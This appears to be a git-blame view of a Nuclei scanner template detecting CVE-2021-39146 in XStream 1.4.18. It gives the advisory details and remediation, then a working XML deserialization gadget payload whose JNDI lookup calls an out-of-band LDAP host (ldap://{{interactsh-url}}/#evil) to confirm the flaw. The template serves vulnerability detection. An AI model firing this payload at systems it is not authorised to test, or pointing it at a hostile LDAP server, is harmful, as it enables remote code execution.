2023-03-12 03:38:05 +00:00
id : CVE-2021-39146
info :
2023-04-17 12:12:37 +00:00
name : XStream 1.4.18 - Arbitrary Code Execution
2023-03-12 03:38:05 +00:00
author : pwnhxl
severity : high
2023-03-23 11:21:46 +00:00
description : |
2023-04-17 12:12:37 +00:00
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade XStream to a version that is not affected by CVE-2021-39146.
2023-03-12 03:38:05 +00:00
reference :
- https://x-stream.github.io/CVE-2021-39146.html
2023-03-29 20:18:04 +00:00
- https://github.com/x-stream/xstream/security/advisories/GHSA-p8pq-r894-fm8f
- https://security.netapp.com/advisory/ntap-20210923-0003/
2023-04-17 12:12:37 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-39146
2023-07-11 19:49:27 +00:00
- https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
2023-03-29 20:18:04 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score : 8.5
cve-id : CVE-2021-39146
2023-07-11 19:49:27 +00:00
cwe-id : CWE-434
2023-11-16 10:31:49 +00:00
epss-score : 0.27391
2024-06-07 10:04:29 +00:00
epss-percentile : 0.96788
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : xstream_project
product : xstream
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,xstream,deserialization,rce,xstream_project
2023-03-12 03:38:05 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-12 03:38:05 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/xml
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>0</int>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale>zh_CN</defaultLocale>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
<default>
<tables>
<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>1</int>
<string>lazyValue</string>
<javax.swing.UIDefaults_-ProxyLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<string>ldap://{{interactsh-url}}/#evil</string>
</args>
</javax.swing.UIDefaults_-ProxyLazyValue>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
</javax.swing.UIDefaults>
</tables>
</default>
</javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
- "dns"
2023-03-22 09:35:53 +00:00
2023-03-23 11:21:46 +00:00
- type : word
part : body
words :
- "timestamp"
2023-04-05 00:41:35 +00:00
- "com.thoughtworks.xstream"
condition : or
2023-03-23 11:21:46 +00:00
- type : word
part : header
words :
- "application/json"
2023-03-22 09:35:53 +00:00
- type : status
status :
2023-03-24 16:24:34 +00:00
- 500
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100e872d0537d5e4fe3dbbbffd4e676ea5a5035aa248c077fb48004f58cbe3f638402202e083699a4a7e88a87d2744f981913d3da140cb66f73911e809f3ddc3927e822:922c64590222798bb761d5b6d8e72950